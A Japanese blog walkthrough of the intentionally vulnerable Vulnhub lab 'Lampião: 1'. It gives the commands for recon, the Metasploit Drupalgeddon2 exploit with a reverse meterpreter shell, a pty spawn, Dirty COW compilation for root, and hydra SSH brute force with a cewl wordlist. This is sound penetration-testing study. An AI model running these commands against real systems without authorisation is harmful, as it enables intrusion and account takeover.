とある親父の侵入実験【Vulnhub Walkthrough - Lampião: 1】
最近、VulnhubというVMのイメージを公開しているサイトを活用してぺネトレーションテストのお勉強。
今回は「Lampião: 1」をやってみる。説明からは「脆弱性のあるマシンを作ったからrootを取ってね」という事なんでroot取るのを目標にがんばる。レベルはイージーらしい。
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampião 1".
Get root!
Level: Easy
まずはイメージを落としてきて起動。
当然ここからログインなんてしませんw
なので、自分のKaliで対象のサーバーにログインを試みますよ・・・。ってこいつのIPアドレス何??
相手のIPもわからなければ、自分にどんなIPが振られているかもわからないのでそこらへんから確認する。
root@kali:~# netdiscover -r 192.168.100.0/24
このnetdicoverコマンドで、指定したセグメント内のホストを探している。そしたら、192.168.100.128というホストが見つかった。これがターゲット。
ターゲットのIPが、わかったら調査開始。まずはポートスキャンから
root@kali:~# nmap 192.168.100.128 -p- -A -n
判明したことは・・・
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião
こんな感じにポートが解放されている。
sshは、ユーザ名とパスワードがわからないままでは使えないので後にする。
httpが、空いているようなのでアクセスしてみる。
これといって収穫なし。
次に、1898番にアクセスしてみる。多分こっちが本命。DrupalとかApacheが動いている様子。
色々と情報を持っていそうなサイトが表示された。多分ここから切り崩していくんだと思う。
余談だが、このサイトに書かれていたのは、タイトルにもなってるLampião(ランピオン)についての内容だった。このランピオンとは、19世紀末からブラジル北東部で活躍した義賊「カンガセイロ」で活動していた人物の名前。
次にサイトの構成情報を取る。
root@kali:~# dirb http://192.168.100.128:1898/
robots.txtがあったのでアクセスすると
CHANGELOG.txtを発見。
中を確認したらDrupalのバージョンが判明した。
Drupal 7.54に脆弱性がないかググってみると・・・あった!!
metasploitでも使えるのかsearchsploitで調べてみる。
root@kali:~# searchsploit Drupalgeddon2
いけそうw
Metasploitを起動して、Drupalgeddon2を探してみる。
msf > search Drupalgeddon2
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >
オプションを確認して必要事項を入力してexploitする。
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900
meterpreter >
侵入成功
metarpreterのコマンドで調査
meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
他に取れそうな情報もなさそうなのでshellで中に入ってみる。
meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html
ユーザは「www-data」で/var/www/htmlにいるのがわかった。
su
su: must be run from a terminal
suコマンドをしてみたらターミナルからじゃないので怒られたので、とりあえずpty作って再度挑戦
python -c 'import pty;pty.spawn("/bin/sh");'
$ su
su
Password:
パスワード求めらるようになったけど、知らないから無理w
なんとかして権限昇格したいから脆弱性がないか内部を調査する。
まずはツールの準備としてこの二つを準備
準備できたら、ターゲット側からダウンロードできる様にサーバーを立ち上げて待ち受けるなどしておく。ターゲット側に調査用のツールを送り込んだらそれぞれ実行する。
linux-exploit-suggesterの結果からdirtycowが使えそうなことが判明。
またLinEnumの結果からg++も使えそうなのでコンパイルに関しても問題はなさそう。
と、いうことでdirtycowのコードを送り込んでコンパイルして実行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
rootのパスワードが書き換わったので権限昇格可能になった。
一度セッションが切れてターミナル落ちたから再度開いてsu -でrootへ。
rootのディレクトリ内を確認したらflag.txt発見
flag.txt : 9740616875908d91ddcdaa8aea3af366
root権限も取れて、フラグも見つけたので終了
ちなみにこのフラグのハッシュ値が気になって調べてみると/var/www/html/lampiao.jpgのハッシュ値だった。
この画像を開いてみると・・・
ランピオン(Lampião)ことビルグリーノ・フェレイラ・ダ・シルバが、こちらに銃を向けてる画像でした。
さて、root取ってフラグ見つけたけど自分の中では、サーバへの侵入方法が「metasploitを使った」というのが少し納得がいかない。もう少し綺麗に侵入できないのか調べてみると別ルートでの侵入方法があったので、そこの部分だけ抜き出して解説。
Lampiãoのサイトをよく見てみると、投稿者が二人いることが確認できる。
tiagoとederの二人がこのサイトに関係しているユーザのようだ。そこで、この二人の名前のユーザリストを作成する。
echo tiago > userlist
echo eder >> userlist
次にパスワードリストをこのLampiãoのサイトで使用されている単語をもとにパスワードリストを作成。(ちょっと時間空いたからIPアドレスが変わってるけどターゲットには変わりは無し)
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
このuserlistとwordlistを使ってhydraでブルートフォースする
hydra -L userlist -P wordlist ssh://192.168.136.212
tiagoのパスワードがVirgulinoと判明した。この情報をもとにsshで接続する。
見事にログイン成功!metasploitを使用する事なく与えられた情報を活用して侵入できた。
まとめ
脆弱性を活用できるか調べるためにも、ターゲットのサービスやOSのバージョンを知ることがとても重要。管理者権限を持っていなくてもかなりの情報を集めることは可能。すぐにmetasploitを起動するのではなく先ずは調査(自分への戒めw)